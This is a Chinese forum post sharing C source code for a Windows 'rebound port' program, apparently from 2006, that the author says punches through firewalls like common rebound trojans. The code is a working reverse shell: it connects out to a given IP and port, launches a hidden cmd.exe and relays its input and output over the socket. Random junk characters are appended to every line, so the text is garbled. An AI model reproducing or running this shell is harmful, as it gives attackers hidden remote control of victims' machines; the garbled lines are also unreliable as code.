社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5277阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 I x%>aee  
PW5]+ |#  
/* ============================== !5o j~H  
Rebound port in Windows NT e|\xF V=4  
By wind,2006/7 gA!@oiq@  
===============================*/ i7Up AHd/  
#include }uZs)UQ|$  
#include /kbU<  
\l~^dn}  
#pragma comment(lib,"wsock32.lib") f82%nT  
[k6I#v<&  
void OutputShell(); SeD}H=,@  
SOCKET sClient; CF '&Yo  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; C!VhVOy>d  
Y_JQPup  
void main(int argc,char **argv) l;lrf3  
{ G#n 4g :K  
WSADATA stWsaData; ?RsrY4P  
int nRet; J-v1"7[2GC  
SOCKADDR_IN stSaiClient,stSaiServer; XM rk2]_  
aOwjYl[?p  
if(argc != 3) \Oeo"|  
{ =&bI-  
printf("Useage:\n\rRebound DestIP DestPort\n"); & o5x  
return; 5#K*75>  
} 6:ettdj  
_=Gj J~2n  
WSAStartup(MAKEWORD(2,2),&stWsaData); k QuEG5n.-  
R~\R>\  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Jb QK$[z"  
ZZY#.  
stSaiClient.sin_family = AF_INET; K~TwyB-h  
stSaiClient.sin_port = htons(0); (~GQncqa  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); C^J<qq &  
1RRE{]2v#  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  w4U,7%V  
{ y{%0[x*N<m  
printf("Bind Socket Failed!\n"); s#9q3JV0  
return; 4S<M9A}  
} v675C#l(  
?QOU9"@+B  
stSaiServer.sin_family = AF_INET; g#J` 7n  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); PI9,*rOy  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); UMoj9/-  
}L\;W:0  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &k:xr,N=  
{ oD)]4|  
printf("Connect Error!"); !g@K y$  
return;  LR97FG  
} e4S@ J/D  
OutputShell(); @Rr=uf G  
} 0:$ }~T9T  
uJw?5kEbv<  
void OutputShell() 3UZd_?JI[^  
{ x-BU$bx5  
char szBuff[1024]; @ ^{`!>Vt  
SECURITY_ATTRIBUTES stSecurityAttributes; Xs0)4U  
OSVERSIONINFO stOsversionInfo; mUBy*.  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2q~ .,vpP  
STARTUPINFO stStartupInfo; \SWTP1  
char *szShell; *uc/| c  
PROCESS_INFORMATION stProcessInformation; JrzPDb`m  
unsigned long lBytesRead; PCviQ!X  
#e' >9T  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); m$T5lKn}U?  
gHg=G+Q@  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?I}RX~Tgg  
stSecurityAttributes.lpSecurityDescriptor = 0; fVbjU1N  
stSecurityAttributes.bInheritHandle = TRUE; $n\Pw  
]auvtm- [  
'nCVjO7o  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); AV5={KK  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); i,6OMB $  
Ykxk`SJ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7%*#M#(T  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xw?DN*`L  
stStartupInfo.wShowWindow = SW_HIDE; nK>CPqB^(  
stStartupInfo.hStdInput = hReadPipe; YX$(Sc3.6  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )~ ( *q  
_@DOH2 lXJ  
GetVersionEx(&stOsversionInfo); B=|R?t (*  
,aP6ct  
switch(stOsversionInfo.dwPlatformId) ;wn9 21r  
{ pY31qhoZ.  
case 1: Sdu\4;(  
szShell = "command.com"; bb6x} jR  
break; `3;EJDEdbi  
default: l6  G6H$  
szShell = "cmd.exe";  LA3m,  
break; UB$}`39@  
} j-<-!jTd  
O_FB^BB  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Nk'<*;e  
4MgN  
send(sClient,szMsg,77,0); 5vx 4F f  
while(1) msl.{  
{ W A/dt2D|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >?$2`I  
if(lBytesRead) ~y<0Cc3Vs  
{ thjr1y.e  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Z)@vJZ*7(  
send(sClient,szBuff,lBytesRead,0); on_h'?2  
} 3#7V1  
else r2-iISxg+  
{ ] K$YtM^  
lBytesRead=recv(sClient,szBuff,1024,0); 7^eyO&4z  
if(lBytesRead<=0) break; 69c4bT:b"  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?;XO1cs  
} Rl?1|$%  
} Z@bgJL8 3  
-CvmZ:n  
return; m Q2i$ 0u  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八